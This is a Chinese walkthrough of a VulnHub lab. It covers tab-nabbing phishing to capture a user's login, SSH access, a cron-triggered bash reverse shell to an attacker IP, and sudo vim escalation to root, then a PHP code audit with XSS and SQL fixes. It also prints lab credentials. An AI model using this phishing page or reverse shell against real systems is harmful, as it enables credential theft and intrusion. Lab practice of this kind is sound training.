大余
- 关注
简介
每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。
代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
一、网络枚举
发现IP地址:192.168.2.222
二、web系信息收集
发现是个登录界面,还可以注册,先注册一个账户试试:
http://192.168.2.222/register.php
注册完成后登录进去:
发现有个输入框,看样子是提交连接,随便写入一个地址试试:
提交之后再点击Here会跳转到你输入的连接:
查看源代码,发现站点上有特定URL链接功能会容易受到Tab Nabbing的攻击:
三、漏洞攻击
使用Tab Nabbing攻击,先做个钓鱼界面,首先先复制登录界面:
wget 192.168.2.222/index.php
构建我们的恶意html界面:dayu.html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');
if(window.opener != window) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');
</script>
</body>
</html>
把自己复制的index.php和dayu.html页面放到/var/www/html下,并且开启python-http服务,开的80 端口,和dayu.html中的端口区分开:
http://192.168.2.139/dayu.html
点击提交即可,监听的8000端口返回了数据包:
username=daniel
password=C@ughtm3napping123
得到了用户名和密码,我们可以通过ssh进行登录。
四、信息收集
ssh登录进行信息收集!可以看到daniel是管理员组的一部分,使用find我们可以查找组给可执行文件:
查看一下query.py文件:
根据site_status.txt文件,它似乎每2分钟执行一次!
五、提权
需要先跳转到adrian用户,所以继续在/dev/shm目录中创建一个反向shell bash脚本:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.2.139/1234 0>&1'
需要更改一下query.py这个脚本来让他定时反弹shell:
import os
now = datetime.now()
os.system('/usr/bin/bash /dev/shm/shell.sh')
过一会获得反弹shell!!
(root) NOPASSWD: /usr/bin/vim
发现可以再没有在没有密码的情况下以root身份运行vim,那就直接写入Vim-shell:
sudo /usr/bin/vim -c ':!/bin/sh'
成功获得root权限!
六、代码审计
这段PHP代码主要用于一个博客促销站点用,让用户提交博客链接。在审计时,我们主要关注以下几个方面:
1、SQL注入
$input = $mysqli->real_escape_string($_POST['url']);
$sql = "INSERT INTO links (link) VALUES ('$input')";
在这里,real_escape_string用于转义输入,可以防止直接的SQL注入。但是更推荐使用预处理语(Prepared Statements)来提高安全性。
2、XSS攻击
$message = "Thank you for your submission, you have entered: <a href='$input' target='_blank' >Here</a>";
$input没有进行HTML转义,可能导致存储型XSS攻击。可以使用htmlspecialchars函数对输出进行转义。
3、会话管理
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
header("location: index.php");
exit;
}
会话管理看起来没问题,但具体的实现可能需要更详细的审查。确保在所有关键操作之前都有适当的身份验证和授权检查。
4、数据库连接
$mysqli = new mysqli("localhost", "adrian", "P@sswr0d456", "website");
数据库连接信息直接硬编码在代码中,这样做不是最佳方法。最好将这些信息存储在配置文件中,并确保配置文件的访问权限受到限制。
5、加入验证
鉴于这是一个用户输入的博客链接,建议在接收和显示链接时进行一些验证:
1)URL格式验证
使用PHP的filter_var函数结合FILTER_VALIDATE_URL过滤器来验证URL的格式。这可以帮助排除一些格式不正确的输入。
$input = $_POST['url'];
if (!filter_var($input, FILTER_VALIDATE_URL)) {
// 不是有效的URL
$message = "Invalid URL format!";
}
2)白名单验证
创建一个允许的博客域名白名单,只接受这些域名的链接。可以避免接受恶意的或者不受信任的链接。
$allowed_domains = array("example.com", "blog.com");
$input = $_POST['url'];
$parsed_url = parse_url($input);
if ($parsed_url === false || !in_array($parsed_url['host'], $allowed_domains)) {
// 链接不在允许的域名列表中
$message = "Invalid or unauthorized domain!";
}
这里使用parse_url函数提取链接的主机名。
3)安全的显示链接
当在页面上显示链接时,使用htmlspecialchars函数对链接进行HTML转义,以防止存储型XSS攻击。
echo "You have entered: <a href='" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "' target='_blank'>Here</a>";
这些验证步骤可以根据具体需求进行调整,确保用户输入的博客链接既符合预期的格式,提高安全性。
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
